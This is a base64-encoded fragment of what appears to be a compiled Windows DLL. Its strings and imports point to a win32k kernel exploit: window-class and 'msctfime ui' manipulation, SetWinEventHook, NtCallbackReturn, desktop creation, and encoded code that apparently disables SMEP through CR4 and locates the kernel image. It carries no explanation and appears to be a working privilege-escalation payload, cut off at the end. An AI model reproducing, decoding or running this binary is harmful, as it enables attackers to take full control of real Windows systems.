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yLmRsbAAArAJVbmhvb2tXaW5FdmVudAAAfgJTZXRXaW5FdmVudEhvb2sAXQBDcmVhdGVNZW51AAABAlBvc3RRdWl0TWVzc2FnZQAIAEFwcGVuZE1lbnVBAEcCU2V0Q2xhc3NMb25nQQBmAlNldFBhcmVudAA7AlNlbmRNZXNzYWdlQQAAqgJUcmFuc2xhdGVNZXNzYWdlAABgAENyZWF0ZVdpbmRvd0V4QQCOAERlZldpbmRvd1Byb2NBAAAWAlJlZ2lzdGVyQ2xhc3NBAABgAlNldE1lbnVJbmZvAIACU2V0V2luZG93TG9uZ0EAAPoAR2V0Q2xhc3NMb25nQQBIAlNldENsYXNzTG9uZ1cAkgJTaG93V2luZG93AAB5AlNldFRocmVhZERlc2t0b3AAAPwAR2V0Q2xhc3NOYW1lQQD/AVBvc3RNZXNzYWdlQQAAQwJTZXRBY3RpdmVXaW5kb3cAgwJTZXRXaW5kb3dQb3MAAJkARGVzdHJveVdpbmRvdwChAERpc3BhdGNoTWVzc2FnZUEAADoBR2V0TWVzc2FnZUEAmgJTeXN0ZW1QYXJhbWV0ZXJzSW5mb1cAUABDcmVhdGVEZXNrdG9wQQAAQwBDbG9zZURlc2t0b3AAAFVTRVIzMi5kbGwAAGgCUnRsR2V0VmVyc2lvbgBiAE50Q2FsbGJhY2tSZXR1cm4AAI4BUnRsQWxsb2NhdGVIZWFwAEcBTnRTZXRUaW1lcgAAdgJSdGxJbml0VW5pY29kZVN0cmluZwAAQAJSdGxGcmVlSGVhcACFAE50Q3JlYXRlVGltZXIAbnRkbGwuZGxsANcBUnBjU3RyaW5nRnJlZUEAAOkBVXVpZFRvU3RyaW5nQQBSUENSVDQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAOQy6DLwMvQy/DIAMwgzDDMUMxgzIDMkM002UzZpNnc2fTaENpA2mzakNrE2vjbHNiU3Lzc+N0g3VzdhN3A3ejeJN5M3ojesN7c3wTfsN/c3BjgiODE4WThzOJU4vjjKONY43jj4OAQ5DDnMOek58zn/OfE6EzsgOy07OjtHO1U7YjvUO9474zvxOwY8MTxWPGY8fjyMPJk8/D0ZPns+yz7RPus+DT8sP1U/XT+LP5M/qz+0P8k/1D/eP+Q/6j/5PwAQAAAcAQAAEzAgMCkwPjBJMFowYDB7MJwwtDC7M